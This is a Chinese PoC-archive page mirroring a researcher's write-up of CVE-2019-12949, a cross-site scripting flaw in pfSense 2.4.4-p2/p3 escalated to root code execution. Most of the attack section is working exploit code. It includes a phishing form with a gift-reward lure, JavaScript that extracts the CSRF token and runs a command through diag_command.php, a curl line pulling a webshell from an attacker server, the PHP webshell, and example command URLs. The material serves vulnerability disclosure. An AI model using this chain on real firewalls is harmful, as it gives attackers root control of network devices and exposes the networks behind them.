目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2019-12949 PoC — pfSense 跨站脚本漏洞

来源
关联漏洞
标题: pfSense 跨站脚本漏洞 (CVE-2019-12949)
Description:pfSense是一套基于FreeBSD Linux的网络防火墙。 pfSense 2.4.4-p2版本和2.4.4-p3版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。
Description
CVE-2019-12949 
介绍
# [CVE-2019-12949] From Cross Site Scripting Vulnerability to Remote Code Execution in pfSense 2.4.4-p2 and 2.4.4-p3

## Information Description:

In pfSense 2.4.4-p2 and 2.4.4-p3, if it is possible to trich the authenticated administrator into clicking on a button on a phishing page, an attacker can upload arbitrary executable code via ding_command.php and rrd_fetch_json.php, to a server. Then, the remote attacker can run any command with root privileges on that server.

**Researcher: Enter of The Tarantula Team, VinCSS (a member of Vingroup)**

# PoC XSS 
Attack vector: **https://pfSense_IP_Address/rrd_fetch_json.php**
 
Send a POST request: 

```html
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>
```

# XSS to RCE

Attacker can create a phishing site like this to exploit the XSS vulnerability on pfsense:

```html
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>
```

The payload.js file in attacker's server will contain the following Javascript code (Payload):

```javascript
<script>
	var xhr = new XMLHttpRequest();
	xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
	xhr.withCredentials=true;
	xhr.send(null);
	var resp = xhr.responseText;
	console.log(resp);
	var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
	var end_idx = resp.indexOf('" />', start_idx);
	var token = resp.slice(start_idx + 27, end_idx);
	console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
	var xhr1 = new XMLHttpRequest();
	xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
	xhr1.withCredentials=true;
	var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
	xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhr1.setRequestHeader("Content-length", params.length);
	xhr1.send(params);
</script>
```

The shell.txt file in attacker's server will contain any PHP webshell contents, like this:

```php
<?php
	system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
	phpinfo(); // show phpinfo
?>
```

Finally, the attacker will trick the authenticated pfsense administrators (victim) to access the phishing site and click the 'Submit' button on phishing site. Then the victim will be redirected to the pfsense admin site, and webshell of the attacker will automatically be successfully loaded onto pfsense server.

From there, the remote attacker can execute arbitrary code as root on pfsense server:

```
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →